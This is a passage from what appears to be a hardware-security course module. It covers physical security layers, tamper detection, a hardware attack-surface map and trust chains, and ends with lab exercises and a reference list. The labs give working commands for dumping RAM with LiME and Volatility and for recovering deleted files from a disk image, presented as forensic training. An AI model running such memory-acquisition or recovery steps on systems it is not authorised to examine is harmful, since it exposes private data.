&lt;p&gt;&lt;strong&gt;TEMPEST Shielding:&lt;/strong&gt; Sensitive government facilities handling classified information use TEMPEST-shielded rooms (Faraday cages), TEMPEST-certified equipment (special shielding of electronics and cables), and proper cable management to prevent emanation leakage.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;For your OT/Electrical background:&lt;/strong&gt; TEMPEST is directly related to EMC (Electromagnetic Compatibility) engineering — a field you likely studied. The difference is that EMC focuses on preventing interference; TEMPEST exploitation &lt;em&gt;uses&lt;/em&gt; those same emissions for intelligence gathering. This is another domain where electrical engineering knowledge is directly applicable to cybersecurity.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  9.3 Physical Security Controls
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Physical security is organized in concentric layers — exactly paralleling the "defense in depth" concept in network security:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Outermost Layer: Perimeter Security
├── Fencing, walls, barriers
├── Lighting
├── CCTV / IP cameras
├── Security guards / patrols
└── Intrusion detection (motion, acoustic, vibration sensors)

Second Layer: Building Access
├── Locked doors
├── Key card / RFID access control
├── Biometric readers (fingerprint, retina, palm vein)
├── Visitor management systems
└── Reception/lobby control

Third Layer: Area Security (Zones within building)
├── Server room access control
├── Classified area separation
├── Mantrap entry systems
├── Camera coverage of sensitive areas
└── Clean desk / clear screen policies

Innermost Layer: Device Security
├── Cable locks for laptops
├── Server rack locks
├── Tamper-evident seals on equipment
├── USB port blockers
└── Hard drive encryption
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;For OT/ICS environments, add:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Physical protection of PLCs and RTUs&lt;/li&gt;
&lt;li&gt;Control room access control&lt;/li&gt;
&lt;li&gt;Physical protection of communication cables and terminal blocks&lt;/li&gt;
&lt;li&gt;Serial port locks on PLC programming ports&lt;/li&gt;
&lt;li&gt;Physical inspection processes for maintenance personnel&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  9.4 Tamper Evidence and Detection
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Tamper-evident seals:&lt;/strong&gt; Stickers placed over screws, chassis seams, and connectors that visibly degrade or display "VOID" when removed. Used to detect unauthorized opening of equipment. Not tamper-proof (can be defeated with heat, solvents, or careful removal) but provide a deterrent and audit trail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tamper detection circuits:&lt;/strong&gt; Active circuits that detect opening of an enclosure and automatically erase sensitive keys. Used in HSMs, payment terminals, and military equipment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chassis intrusion detection:&lt;/strong&gt; Many motherboards include a chassis intrusion switch that logs to the Windows Event Log when the case is opened. Forensically, this can reveal unauthorized physical access.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Hardware Security: The Full Picture
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 The Hardware Attack Surface Map
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────────────┐
│                   HARDWARE ATTACK SURFACE                       │
│                                                                 │
│  BEFORE BOOT:                                                   │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ Physical Access → Cold Boot → Evil Maid → PSU Glitch    │   │
│  │ UEFI Implant → Secure Boot Bypass → Boot Malware        │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  AT BOOT:                                                       │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ MBR/GPT Bootkit → GRUB Vulnerability → Signed Malware   │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  DURING OPERATION:                                              │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ Spectre/Meltdown → Rowhammer → DMA Attack               │   │
│  │ Power Analysis → Cache Timing → TEMPEST                  │   │
│  │ Hardware Keylogger → Malicious USB → PCILeech            │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
│  AFTER OPERATION:                                               │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │ Disk Forensics → Cold Boot (brief window)               │   │
│  │ Data Remanence → Improper Destruction → Repurposing     │   │
│  └─────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 The Hardware Trust Hierarchy
&lt;/h3&gt;

&lt;p&gt;Security professionals often speak of a &lt;strong&gt;Root of Trust&lt;/strong&gt; — the hardware or software component that is trusted implicitly, from which all other trust is derived. Understanding trust chains is fundamental to security architecture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hardware Root of Trust (e.g., TPM, HSM, Secure Enclave)
    │
    └── UEFI Firmware (verified by hardware RoT)
            │
            └── Bootloader (verified by Secure Boot / UEFI)
                    │
                    └── OS Kernel (verified by bootloader / code signing)
                            │
                            └── System Services (verified by OS)
                                    │
                                    └── User Applications (verified by OS)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;If any link in this chain is broken, everything above it is untrustworthy.&lt;/strong&gt; This is why hardware-level attacks (UEFI implants, TPM attacks) are so powerful — they break the chain at its base, making every layer above untrustworthy while appearing completely normal to OS-level security tools.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. Hands-On Lab Exercises
&lt;/h2&gt;

&lt;p&gt;The following exercises are designed to be completed safely and legally in your own environment or dedicated lab machines. &lt;strong&gt;Never perform these on systems you do not own or have explicit written permission to test.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 1: Hardware Identification (30 minutes)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Build familiarity with actual hardware components.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# CPU information&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_Processor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NumberOfCores&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;NumberOfLogicalProcessors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MaxClockSpeed&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# RAM information&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_PhysicalMemory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Manufacturer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Capacity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Speed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MemoryType&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Motherboard information&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_BaseBoard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Manufacturer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SerialNumber&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# TPM status&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-TPM&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# BIOS/UEFI information&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WmiObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_BIOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Manufacturer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ReleaseDate&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check if Secure Boot is enabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Confirm-SecureBootUEFI&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# CPU information&lt;/span&gt;
lscpu
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/cpuinfo | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"model name"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;

&lt;span class="c"&gt;# RAM information&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dmidecode &lt;span class="nt"&gt;-t&lt;/span&gt; memory | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Size:|Speed:|Manufacturer:|Type:"&lt;/span&gt;
free &lt;span class="nt"&gt;-h&lt;/span&gt;

&lt;span class="c"&gt;# Motherboard information&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dmidecode &lt;span class="nt"&gt;-t&lt;/span&gt; baseboard

&lt;span class="c"&gt;# BIOS/UEFI information&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dmidecode &lt;span class="nt"&gt;-t&lt;/span&gt; bios

&lt;span class="c"&gt;# Check for UEFI (as opposed to legacy BIOS)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; /sys/firmware/efi &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"UEFI"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Legacy BIOS"&lt;/span&gt;

&lt;span class="c"&gt;# Check Secure Boot status&lt;/span&gt;
mokutil &lt;span class="nt"&gt;--sb-state&lt;/span&gt;

&lt;span class="c"&gt;# List all PCI devices&lt;/span&gt;
lspci &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Storage devices&lt;/span&gt;
lsblk &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; NAME,SIZE,ROTA,TYPE  &lt;span class="c"&gt;# ROTA=1 means spinning disk (HDD)&lt;/span&gt;
nvme list  &lt;span class="c"&gt;# NVMe drives (requires nvme-cli)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Memory Forensics Introduction (1–2 hours)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Understand that RAM contains valuable forensic artifacts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Setup:&lt;/strong&gt; Install Volatility 3 on a test Linux machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Volatility 3&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;volatility3

&lt;span class="c"&gt;# Acquire memory on Linux (requires LiME kernel module)&lt;/span&gt;
&lt;span class="c"&gt;# First, install kernel headers&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;linux-headers-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Clone and build LiME&lt;/span&gt;
git clone https://github.com/504ensicsLabs/LiME
&lt;span class="nb"&gt;cd &lt;/span&gt;LiME/src
make

&lt;span class="c"&gt;# Load module to dump memory to file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;insmod lime-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;.ko &lt;span class="s2"&gt;"path=/tmp/memory.lime format=lime"&lt;/span&gt;

&lt;span class="c"&gt;# Analyze with Volatility (use appropriate profile for your kernel)&lt;/span&gt;
python3 vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/memory.lime linux.pslist  &lt;span class="c"&gt;# List processes&lt;/span&gt;
python3 vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/memory.lime linux.netstat  &lt;span class="c"&gt;# Network connections&lt;/span&gt;
python3 vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; /tmp/memory.lime linux.bash     &lt;span class="c"&gt;# Bash history from memory&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What to look for:&lt;/strong&gt; Running processes, open network connections, commands executed in bash — all extracted from RAM without touching any log files.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 3: Storage Analysis (1 hour)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Understand that "deleted" data may still be recoverable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a test file, "delete" it, and attempt recovery&lt;/span&gt;
&lt;span class="nb"&gt;dd &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/zero &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;test_disk.img &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1M &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100  &lt;span class="c"&gt;# Create 100MB test image&lt;/span&gt;
mkfs.ext4 test_disk.img
&lt;span class="nb"&gt;mkdir&lt;/span&gt; /tmp/testmount
&lt;span class="nb"&gt;sudo &lt;/span&gt;mount test_disk.img /tmp/testmount

&lt;span class="c"&gt;# Write some test files&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"This is sensitive data - password: SuperSecret123"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /tmp/testmount/secret.txt
&lt;span class="nb"&gt;sudo &lt;/span&gt;umount /tmp/testmount

&lt;span class="c"&gt;# Mount and delete the file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;mount test_disk.img /tmp/testmount
&lt;span class="nb"&gt;sudo rm&lt;/span&gt; /tmp/testmount/secret.txt
&lt;span class="nb"&gt;sudo &lt;/span&gt;umount /tmp/testmount

&lt;span class="c"&gt;# Try to recover the deleted file with Autopsy or TestDisk/PhotoRec&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;testdisk
photorec test_disk.img  &lt;span class="c"&gt;# GUI tool for file carving&lt;/span&gt;

&lt;span class="c"&gt;# Or use strings to simply find the text in the raw image&lt;/span&gt;
strings test_disk.img | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; 2 &lt;span class="nt"&gt;-B&lt;/span&gt; 2 &lt;span class="s2"&gt;"sensitive"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Expected outcome:&lt;/strong&gt; You will recover the "deleted" text because it was not overwritten. This demonstrates why data sanitization is critical.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exercise 4: UEFI Exploration (30 minutes)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Understand your system's UEFI configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux: Examine EFI System Partition&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /sys/firmware/efi/efivars/  &lt;span class="c"&gt;# EFI variables&lt;/span&gt;

&lt;span class="c"&gt;# Read Secure Boot variables&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /sys/firmware/efi/efivars/SecureBoot-&lt;span class="k"&gt;*&lt;/span&gt;  &lt;span class="c"&gt;# Status&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /sys/firmware/efi/efivars/SetupMode-&lt;span class="k"&gt;*&lt;/span&gt;   &lt;span class="c"&gt;# Setup mode&lt;/span&gt;

&lt;span class="c"&gt;# List UEFI boot entries&lt;/span&gt;
efibootmgr &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Check UEFI firmware information&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;dmidecode &lt;span class="nt"&gt;-t&lt;/span&gt; 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explore your actual UEFI/BIOS settings (restart and press F2/Delete/Escape depending on motherboard):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Locate Secure Boot settings — is it enabled?&lt;/li&gt;
&lt;li&gt;Find the TPM configuration — is it enabled?&lt;/li&gt;
&lt;li&gt;Locate boot order settings&lt;/li&gt;
&lt;li&gt;Find the chassis intrusion detection setting&lt;/li&gt;
&lt;li&gt;Look for Intel ME / AMT settings&lt;/li&gt;
&lt;li&gt;Find the option to require a UEFI password&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  12. Key Takeaways and Security Mindset
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 The 10 Most Important Hardware Security Concepts
&lt;/h3&gt;

&lt;p&gt;These are the concepts that will appear again and again throughout your entire cybersecurity career. Internalize them now:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Physical access breaks all software security.&lt;/strong&gt; Physical security is not optional, not secondary, not "someone else's problem." It is the foundation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The CPU's instruction pointer (RIP) is the crown jewel of exploitation.&lt;/strong&gt; Every code execution exploit, in its most fundamental form, is about controlling where the CPU fetches its next instruction.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;RAM is where the truth lives.&lt;/strong&gt; Malware may hide on disk, but it must execute in RAM. Memory forensics sees through fileless malware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hardware features create hardware vulnerabilities.&lt;/strong&gt; Spectre exploits speculative execution (a performance feature). Rowhammer exploits DRAM physics. Your adversary thinks about hardware, not just software.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;UEFI firmware attacks are the most persistent.&lt;/strong&gt; Surviving OS reinstalls and drive replacements, UEFI implants represent the apex of persistence. Every incident response investigation should include UEFI integrity verification.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;"Deleted" does not mean "gone."&lt;/strong&gt; On HDDs especially, data persists until overwritten. Forensic tools exploit this. Proper data destruction requires physical destruction or cryptographic erasure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SED encryption may be weaker than you think.&lt;/strong&gt; Software-layer encryption (BitLocker, LUKS) is generally more trustworthy than self-encrypting drive hardware encryption.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;DMA is a trust boundary.&lt;/strong&gt; Any device with DMA access (PCIe, Thunderbolt) can read your RAM. IOMMU is the defense. Disable Thunderbolt on sensitive systems when not in use.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;GPU is a weapon in password cracking.&lt;/strong&gt; Understanding GPU-based cracking informs password policy requirements. Anything under 12 characters of mixed complexity is at risk.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Your electrical engineering background is an unfair advantage.&lt;/strong&gt; Power analysis attacks, TEMPEST, electromagnetic emissions, hardware fault injection — these are domains where deep electronics knowledge translates directly into unique security capabilities.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  12.2 The Mindset of a Hardware-Aware Security Professional
&lt;/h3&gt;

&lt;p&gt;Most security professionals think in software abstractions. They think about code, protocols, and configurations. You need to think one level deeper:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When you see a VPN gateway protecting a network, also ask: &lt;em&gt;Who has physical access to that device? Is the management port exposed? Is there a console cable attached?&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;When you implement full-disk encryption, also ask: &lt;em&gt;Is the key stored in TPM? Is the system set to require a pre-boot PIN? Is Sleep mode disabled to prevent cold boot?&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;When you assess an OT/ICS environment, also ask: &lt;em&gt;What are the serial ports on that PLC? Is there a diagnostic cable attached? Is the PLC's CPU socket accessible? What does the physical security of this cabinet look like?&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;When you investigate an incident, also ask: &lt;em&gt;Before you shut this system down — do you have a memory image? Are you destroying volatile evidence?&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This layer of thinking — translating physical reality into security implications — is what separates a truly capable security professional from a tool operator.&lt;/p&gt;




&lt;h2&gt;
  
  
  References and Further Reading
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Foundational Academic Papers
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Kocher, P., et al. (2019). "Spectre Attacks: Exploiting Speculative Execution." &lt;em&gt;IEEE Security &amp;amp; Privacy&lt;/em&gt;. &lt;a href="https://spectreattack.com/spectre.pdf" rel="noopener noreferrer"&gt;https://spectreattack.com/spectre.pdf&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Lipp, M., et al. (2018). "Meltdown: Reading Kernel Memory from User Space." &lt;em&gt;USENIX Security 2018&lt;/em&gt;. &lt;a href="https://meltdownattack.com/meltdown.pdf" rel="noopener noreferrer"&gt;https://meltdownattack.com/meltdown.pdf&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Kim, Y., et al. (2014). "Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors." &lt;em&gt;ISCA 2014&lt;/em&gt;. (Original Rowhammer paper)&lt;/li&gt;
&lt;li&gt;Halderman, J. A., et al. (2009). "Lest We Remember: Cold Boot Attacks on Encryption Keys." &lt;em&gt;Communications of the ACM&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Security Research and Documentation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;UEFI Specification: &lt;a href="https://uefi.org/specifications" rel="noopener noreferrer"&gt;https://uefi.org/specifications&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Intel Platform Security documentation: &lt;a href="https://www.intel.com/content/www/us/en/architecture-and-technology/intel-platform-security.html" rel="noopener noreferrer"&gt;https://www.intel.com/content/www/us/en/architecture-and-technology/intel-platform-security.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;NIST SP 800-147: BIOS Protection Guidelines: &lt;a href="https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-147.pdf" rel="noopener noreferrer"&gt;https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-147.pdf&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;NIST SP 800-155: BIOS Integrity Measurement Guidelines&lt;/li&gt;
&lt;li&gt;TCG TPM 2.0 Library Specification: &lt;a href="https://trustedcomputinggroup.org/resource/tpm-library-specification/" rel="noopener noreferrer"&gt;https://trustedcomputinggroup.org/resource/tpm-library-specification/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Malware Analysis Reports Referenced
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;ESET LoJax Report: &lt;a href="https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" rel="noopener noreferrer"&gt;https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;ESET BlackLotus Report: &lt;a href="https://www.welivesecurity.com/en/eset-research/uefi-threats-moving-esp-introducing-especter-bootkit/" rel="noopener noreferrer"&gt;https://www.welivesecurity.com/en/eset-research/uefi-threats-moving-esp-introducing-especter-bootkit/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Kaspersky Equation Group: &lt;a href="https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/" rel="noopener noreferrer"&gt;https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tools
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Volatility 3 Framework: &lt;a href="https://github.com/volatilityfoundation/volatility3" rel="noopener noreferrer"&gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;PCILeech: &lt;a href="https://github.com/ufrisk/pcileech" rel="noopener noreferrer"&gt;https://github.com/ufrisk/pcileech&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;me_cleaner (Intel ME): &lt;a href="https://github.com/corna/me_cleaner" rel="noopener noreferrer"&gt;https://github.com/corna/me_cleaner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;CHIPSEC (UEFI security assessment): &lt;a href="https://github.com/chipsec/chipsec" rel="noopener noreferrer"&gt;https://github.com/chipsec/chipsec&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Cybersecurity Relevance&lt;/th&gt;
&lt;th&gt;Key Attack&lt;/th&gt;
&lt;th&gt;Key Defense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
